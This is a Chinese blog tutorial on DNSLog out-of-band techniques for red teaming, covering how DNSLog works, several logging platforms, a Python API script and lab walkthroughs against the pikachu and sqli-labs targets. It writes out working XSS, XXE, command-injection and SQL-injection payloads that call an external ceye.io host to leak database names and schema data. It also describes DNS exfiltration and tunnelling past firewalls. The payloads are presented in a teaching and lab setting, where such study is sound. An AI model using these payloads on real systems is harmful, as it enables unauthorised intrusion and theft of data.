穿透式侦查：DNSLog在红队攻防中的降维打击

最新推荐文章于 2025-03-27 23:55:44 发布
最新推荐文章于 2025-03-27 23:55:44 发布
阅读量1.2k 收藏 38
点赞数 52
分类专栏： 网络安全 文章标签： 网络安全 web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/w11111111152/article/details/146510108
版权

免责声明：用户因使用公众号内容而产生的任何行为和后果，由用户自行承担责任。本公众号不承担因用户误解、不当使用等导致的法律责任

目录

一:DNSLog 技术：漏洞探测的「隐形侦察兵」

1.什么是 DNSLog？

2.DNSLog 如何工作？

3.典型应用场景

4.DNSLog 的独特优势

5.常用工具与平台

6.局限性及绕过技巧

二：DNSLog平台

1.Bu r p Co l l a b o r a t o r

2.d n s l o g . c n

3.c e y e . i o

三：实战演练

1.XSS-DNSLog

2.RCE-DNSLog

3.XXE-DNSLog

4.SSRF-DNSLog

5.SQL注入-DNSLog

总结

一:DNSLog 技术：漏洞探测的「隐形侦察兵」

1.什么是 DNSLog？

DNSLog 是一种基于 DNS 协议的隐蔽通信技术，主要用于网络安全领域的漏洞探测与攻击验证。其核心原理是：通过监控 特定子域名 的 DNS 解析请求，间接判断目标系统是否存在漏洞（如 SQL 注入、SSRF、命令执行等）。
简单来说：攻击者生成一个唯一子域名（如 xxx.ceye.io），诱导目标系统发起对该域名的 DNS 查询。若查询被记录，即可确认漏洞存在。

2.DNSLog 如何工作？

  1. 子域名生成
    使用工具（如 ceye.io、Burp Collaborator）生成一个唯一子域名（例如 a1b2c3.ceye.io）。

  2. 漏洞触发
    在攻击载荷中嵌入该子域名（例如 ping a1b2c3.ceye.io）。若目标系统存在漏洞，会尝试解析该域名。

  3. 监控与验证
    通过 DNSLog 平台实时查看是否有对应的 DNS 查询记录，若有则证明漏洞存在。

3.典型应用场景

  1. 盲注漏洞探测

    • SQL 盲注：通过 LOAD_FILE() 或 UNC路径 触发 DNS 查询。

    • XSS 盲打：诱导用户浏览器加载恶意 DNS 资源。

    SELECT LOAD_FILE(CONCAT('\\\\', (SELECT database()), '.a1b2c3.ceye.io\\test'));

  2. SSRF/命令执行验证

    • 利用漏洞让目标服务器发起 DNS 请求，绕过防火墙限制。

    curl http://内部接口 && ping a1b2c3.ceye.io

  3. 数据外带（Exfiltration）
    将敏感信息编码到子域名中（如 data=abc.a1b2c3.ceye.io），通过 DNS 请求外传数据。

4.DNSLog 的独特优势
特性说明
隐蔽性高DNS 协议通常不受防火墙拦截，适合穿透严格网络环境。
无回显漏洞克星解决盲注类漏洞无法直接获取回显的问题。
跨协议兼容支持 HTTP、SMTP、数据库等多种协议触发的 DNS 请求。
5.常用工具与平台

  1. 在线平台

    • ceye.io：免费 DNSLog 服务，提供 API 和可视化记录。

    • Burp Collaborator：集成于 Burp Suite，支持 DNS/HTTP 混合监控。

  2. 自建工具

    • DNSBin：开源自托管工具，适合内网渗透测试。

    • Interactsh：自动化交互式 DNSLog 框架，支持多协议。

6.局限性及绕过技巧

  • 局限性：

    • 依赖目标环境的 DNS 解析能力（如禁用外网 DNS 则失效）。

    • 数据外带效率较低（受 DNS 协议长度限制）。

  • 绕过技巧：

    • 使用短域名或编码压缩数据（如 Base32）。

    • 结合 DNS 隧道技术（如 iodine）提升传输能力。

二：DNSLog平台

1.Bu r p Co l l a b o r a t o r

打开bp如下模块点击复制

然后就可以得到子域名

在cmd中输入ping qqq.yce0iu59oral2nnu2y7l6npyipogc60v.oastify.com 即可

2.d n s l o g . c n

打开为这样的页面，可以获取子域名 ，然后将子域名复制前面添加任意字符即可在cmd中ping

Ceye.io.vep:解决前面平台记录不持久保存，解析结果只能复制

3.c e y e . i o

ceye.io 特点：
1、固定子域名，不会变动
2、解析记录在账号下保存
3、提供在线 API

首先打开这个网页进行注册

查看token后续代码获取信息需要

Cmd中输入ping Qqq.ack4cg.ceye.io

这里还提供payload（SQL注入，xxe之类的）

在线AP可以查解析记录。

Python代码提取dns信息

import requests

import json



APItoken = '你的API TOKEN'

DNSurl = '你的子域名.ceye.io'

taskname = '要过滤的内容，查询关键字'



try:

    APIurl = f'http://api.ceye.io/v1/records?token={APItoken}&type=dns&filter={taskname}'

    r = requests.get(APIurl)

    data = json.loads(r.text)

    print(data)

    result = data['data'][0]['name'].split('.')[0]  # 假设 data['data'] 是列表

except Exception as e:

print(f'[*] Error: {str(e)}')

注意运行这个代码需要python2环境

运行成功

三：实战演练

1.XSS-DNSLog

打开pikachu靶场（使用ceye平台）

payload：<script src=http://ack4cg.ceye.io.dnslog.cn></script>

通过f12将框变大否则你无法输入

通过f12可以看到已经成功注入并且被执行.

DNSLog探测成功

存储型xss测试：

payload：<script src=http://ack4c.ceye.io.dnslog.cn></script>

注入成功

注意：DNSLog只是验证漏洞是否存在，而不是必要步骤

2.RCE-DNSLog

原本payload：127.0.0.1 & ipconfig

构建有DNSLog的payload：ceye.io.dnslog.cn

说明服务器可以访问外网,存在漏洞

3.XXE-DNSLog

原payload：

读取本地文件

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE note[<!ENTITY xxe

SYSTEM "file:///E://in.txt">]><login>&xxe;</login>

带DNSLog的payload：

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://aqlw.ceye.io.dnslog.cn">%remote;]>

说明服务器存在解析外部实体的漏洞

4.SSRF-DNSLog

请求成功说明这个服务器存在ssrf漏洞（也就是这个服务器可以访问外网）

5.SQL注入-DNSLog

首先你需要先明白两个函数

load_file函数（读文件）

语句功能适用系统执行条件执行结果
select load_file('C:/Windows/system.ini');读取文件内容Windows文件在数据库本机、有访问权限、文件大小小于 max_allowed_packet满足条件返回文件内容，否则返回 NULL
select load_file('/etc/hosts');读取文件内容Linux文件在数据库本机、有访问权限、文件大小小于 max_allowed_packet满足条件返回文件内容，否则返回 NULL

secure_file_priv参数（写文件）

值类型
空字符串
secure-file-priv=""
secure-file-priv=		没有任何限制（不安全）
具体文件夹只能在指定的文件夹导入导出
不设置这个参数或
secure-file-priv=NULL		不允许导入导出

首先打开sql-labs靶场第五关，因为第五关是无回显的关卡，正好符合使用DNSLog

可以看到当我们输入 ‘ --+ 正确闭合后 输出如上信息，无回显信息所以我们需要通过DNSLog来获取回显信息

初步构建payload：select load_file('aqlwnh.ack4cg.ceye.io/aqlw');

如果你学过SQL注入就完全可以看懂上方代码，如果你看不懂建议你先去学习SQL注入。上方payload中是由\\转义而来，最后加/aqlw也是固定格式

可以看到这种方法完全可以，所以我们构建实战用的payload用于将sql-labs第五关无回显的问题通过dnslog回显。

最终Payload：http://localhost/sqli-labs/Less-5/?id=1' and if((select

load_file(concat('',database(),'.aqlwnzh.ack4cg.ceye.io/aqlw'))),1,0) --+

 还是那句话，如果你看不懂，去学习SQL注入，本文不解释注入语句含义。

当我们注入后观察DNSLog 发现数据库名已经被我们拿到了（security）

然后我们在构建payload拿库名

Payload：

http://localhost/sqli-labs/Less-5/?id=1' and if((select

load_file(concat('',(select schema_name from

information_schema.schemata limit 1,1),'.aqlwnzh.ack4cg.ceye.io/aqlw'))),1,0) --+

成功拿到库名

总结

DNSLog用在无回显信息中，前面四个案例是在验证是否存在漏洞而最后一个则是通过DNSLog拿到库名进而最后拿到表名拿到账户密码。

（需要源代码联系博主免费领取！！还希望多多关注点赞支持，你的支持就是我的最大动力！！！）

dnslog注入_dnslog盲注
计算机毕业论文源码，学生个人网页制作html源码。贴近用户做网络推广和互联网优化。
09-09 2012
dnslog注入原理通过子查询，将内容拼接到域名内，让load_file()去访问共享文件，访问的域名被记录此时变为显错注入,将dnslog注入盲注变显错注入,读取远程共享文件，通过拼接出函数做查询,拼接到域名中，访问时将访问服务器，记录后查看日志。dnslog注入主要用于布尔型盲注、时间型盲注、有注入但是无显示，注入线程太大容易被waf拦截等情况。主要原理就是利用load_file这个函数，这个函数的目的是读取本地文件，也可以对外发送请求，利用这个函数，我们再使用concat函数将dnslog
红队攻防渗透技术实战流程：红队攻防流程详细大纲
HACKONE的博客
03-24 1135
撰写报告详细记录攻击过程、发现的漏洞和安全风险，以及收集到的数据等信息分析与总结对攻击结果进行深入分析，总结经验教训，提出改进建议。汇报与沟通将报告和分析结果向相关人员或团队进行汇报和沟通。
DNSLOG相关知识
12306小哥
07-15 659
0x01 DNS知识 域名系统（Domain Name System），是互联网使用的命名系统，用来便于人们使用的机器名字转换为IP地址。 0x02 DNS解析 2.1 解析过程要点 当某一个应用进程需要把主机名解析为IP地址时，该应用进程就调用解析程序，并成为DNS的一个客户（DNS Client），把待解析的域名放在DNS请求报文中，以UDP用户数据报方式发给本地域名服务器（使用UDP是为了减少开销）。本地域名服务器在查找域名后，把对应的IP地址放在响应报文中返回。应用进程获得目的主机的IP地址后即可进
HW2021攻防演练经历碎碎念-见解
Jay
07-18 2449
HW2021攻防演练经历碎碎念。
DNSLog漏洞探测(二)之常用DNSLog平台
把自己活成一道光，因为你不知道，谁会借着你的光，走出了黑暗。请保持心中的善良，因为你不知道，谁会借着你的善良，走出了绝望。请保持你心中的信仰，因为你不知道，谁会借着你的信仰，走出了迷茫。请相信自己的力量，因为你不知道，谁会因为相信你，开始相信了自己....
12-10 6339
我们在上一篇文章中我们介绍了什么是DNSLog，如果我们自己要去搭建一个DNSLog的服务平台，还是比较复杂和麻烦的，所以我们可以直接去使用一些公开免费的DNSLog平台，DNSLog的平台非常的多，但是实际上大部分的DNSLog的平台都是昙花一现，真正意义上稳定持久的就只有那么几个，那么我们接下来给大家介绍几个常用且稳定的DNSLog平台吧。
DNSlog使用
weixin_48000706的博客
07-31 1800
【代码】DNSlog使用。
五种常见的DNS攻击类型及应对方式
A_991128a的博客
08-23 915
随着俄乌冲突中网络战的升级，DNS安全成为业界关注的焦点。无论是去年3月份NSA发布的保护性DNS（PDNS）推荐指南，还是俄罗斯互联网的核心——DNS服务在战争期间的大规模启用，都表明DNS安全威胁在不断升级。DNS记录着全球域名与IP地址的一一映射关系，是互联网中最基础的服务之一。由于其在互联网中的重要性以及DNS体系的先天局限性，DNS很容易成为网络攻击的重要目标。
DNSLog漏洞探测(三)之XSS漏洞实战
把自己活成一道光，因为你不知道，谁会借着你的光，走出了黑暗。请保持心中的善良，因为你不知道，谁会借着你的善良，走出了绝望。请保持你心中的信仰，因为你不知道，谁会借着你的信仰，走出了迷茫。请相信自己的力量，因为你不知道，谁会因为相信你，开始相信了自己....
12-12 1757
DNSLog的平台实际使用很长见的一种情况就是针对漏洞无回显的情况，我们通过让受害者的服务器主动发起对DNSLog服务平台的请求去外带一些信息，但更多的使用场景是我们仅仅使用DNSLog去作为探测漏洞是否存在的一种手段。现在我们回到DNSLog服务平台，点击 Refresh Record刷新，然后DNSLog服务平台便会返回给我们DNSLog解析记录，这下我们就通过DNSLog平台验证了该处存在XSS漏洞。通过前面的学习，我们已经明白了什么是DNSLog平台，那么DNSLog平台到底能为我们做些什么呢？
红队攻防手册,红队攻防教程
04-20
红队攻防教程是指针对网络和系统安全的实践性培训，旨在模拟真实的攻击场景并提供相关的防御技术。红队是一个模拟攻击团队，通过模拟真实的黑客攻击来测试组织的安全性，而蓝队则是负责防御和应对这些攻击的团队。 ...
大模型安全攻防：DeepSeek红队测试中的漏洞发现与修复实践.pdf
02-13
该文档【大模型安全攻防：DeepSeek红队测试中的漏洞发现与修复实践】共计 26 页，文档内容完整、条理清晰。文档内所有文字、图表、目录等元素均显示正常，无任何异常情况，敬请您放心查阅与使用。
Python实现WarBerryPi策略：红队攻防中的信息收集
3. WarBerryPi策略利用：WarBerryPi策略利用是指在红队组交战中使用的一种策略。红队组是一种安全测试方式，模拟黑客攻击，以发现和修复安全漏洞。在这种策略中，目标是在短时间内尽可能隐蔽地获取尽可能多的信息。 ...
红队攻防渗透技术实战流程：红队资产信息收集之单个目标信息收集
HACKONE的博客
03-25 1278
根据目标网站的大小确定数据库类型首先，成本上的差距，access是不要钱的，mysql也是开源的，sql server 是收费的一般也就几千，Oracle的费用则数万。C段指的是同一内网段内的其他服务器，每个IP有ABCD四个段，举个例子，192.168.0.1，A段就是192，B段是168，C段是0，D段是1，而C段嗅探的意思就是拿下它同一C段中的其中一台服务器，也就是说是D段1-255中的一台服务器，然后利用工具嗅探拿下该服务器。有时候网站的响应包会携带server信息，如下，这种情况多存在内网中。
渗透测试---手把手教你SQL注入(4)--DNSLOG外带注入
weixin_52796034的博客
10-10 1230
通常我们面对SQL注入过程中没有回显的情况时,只能通过盲注的方式来判断是否存在SQL注入，但是,使用盲注,需要花费大量时间进行测试,并且还可能需要对目标服务器发送大量请求,这会导致我们的IP容易被目标服务器封掉.
利用DNSlog外带数据注入
qq_68163788的博客
02-12 1177
在SQL注入中，利用DNSlog外带数据是一种有效的技术，特别是在面对盲注时。DNSlog平台，如CEYE和Burpsuite专业版，允许用户生成域名并记录访问情况。通过将特定数据嵌入DNS请求中，攻击者可以获取敏感信息。 在SQL注入的场景下，特别是当secure_file_priv值为空时，可以使用LOAD_FILE和INTO OUTFILE语句导出数据。以靶场测试为例，攻击者可以通过时间盲注的方法逐步推测数据库的名称。通过发送特定的SQL语句，结合SLEEP函数，攻击者可以判断出数据库名的字符。
DNSLog漏洞
shirlly_的博客
04-17 945
DNS（Domain Name System）是一个用于将域名转换为与之对应的 IP 地址的分布式命名系统。DNS日志是记录特定设备或网络发出的所有DNS查询的记录。这些日志可用于排除DNS问题、监控网络活动和分析流量模式。DNS日志通常包括信息，如源IP地址、查询的域名、查询类型（如A记录、MX记录）以及从DNS服务器接收到的响应。没有回显的情况下怎么办？利用限制利用DNSLog服务中的漏洞进行数据窃取攻击。攻击者可以通过在受害者系统上植入恶意代码，使其发送DNS请求到恶意控制的DNSLog服务器。
安全测试的辅助工具之DNSLog 平台
最新发布
西京刀客
03-27 582
DNSLog 是一种用于安全测试的辅助工具，主要用于检测 无回显漏洞（如 SSRF、Blind SQLi、XXE 等）。它的核心原理是通过 DNS 协议记录目标服务器发起的 DNS 查询请求，从而间接验证漏洞的存在。
SQL注入-DNSLOG打消你的盲打盲注
weixin_54217950的博客
02-18 4360
Dnslog Dnslog就是存储在DNS Server上的域名信息，它记录着用户对域名www.test.com、t00ls.com.等的访问信息。 Dnslog盲注 对于SQL盲注，我们可以通过布尔或者时间盲注获取内容，但是整个过程效率低，需要发送很多的请求进行判断，容易触发安全设备的防护，Dnslog盲注可以减少发送的请求，直接回显数据实现注入 使用DnsLog盲注仅限于windos环境。 其中，红色部分是可控的。我们只需要搭建一个红色部分的DNS服务器，并将要盲打或盲注的回显，放到自己域名的二级甚至
写bat脚本双击执行
qq_35911118的博客
04-08 3151
@echo off　　　　　　　　　　　不显示后续命令行及当前命令行 dir c:*.* >a.txt　　　　　　　将c盘文件列表写入a.txt call c:\ucdos\ucdos.bat　　　　调用ucdos echo 你好 　　　　　　　　　　 显示"你好" pause 　　　　　　　　　　　　 暂停,等待按键继续 rem 准备运行wps 　　　　　　　 注释：准备运行wps cd ucdos　　　　　　　　　　　 进入ucdos目录 wps 　　　　　　　　　　　　　 运行wps @echo
评论 17
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

安全瞭望Sec

感谢您的打赏，您的支持让我更加

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值